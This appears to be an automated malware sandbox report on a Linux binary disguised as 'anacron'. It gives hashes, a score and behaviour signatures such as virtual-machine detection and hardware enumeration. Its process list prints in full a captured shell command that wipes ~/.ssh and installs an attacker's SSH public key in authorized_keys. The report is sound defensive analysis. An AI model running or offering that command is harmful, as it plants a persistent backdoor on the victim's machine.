Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240522.1-en -
resource tags
-
submitted
28-06-2024 12:54
General
-
Target
.rsync/a/anacron
-
Size
2.8MB
-
MD5
8d5d71c56b1f807edac5ac734feab41a
-
SHA1
ca2064303d74f5fec98d717f35cd8ee20e81b722
-
SHA256
49da718733de850ddd7e871fee1d2f041508d28b9cfc58a822786151004a9c2c
-
SHA512
514337791f6c2b71e9303899a6206f92eb905c780729008f3f754f256811332caa5d608662272a6eb3b1f3cf70d1ec528509bbe3f68c7960fc9df63c463fce3f
-
SSDEEP
49152:m7rTifP8qyUnJ1jIYuOwxC7mQ595+T91hGtZ1:Irm38qyUnJ1jgx0B5evhG
Score
6/10
Malware Config
Signatures
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 2 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 50 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes
-
/tmp/.rsync/a/anacron/tmp/.rsync/a/anacron1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/bin/shsh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"2⤵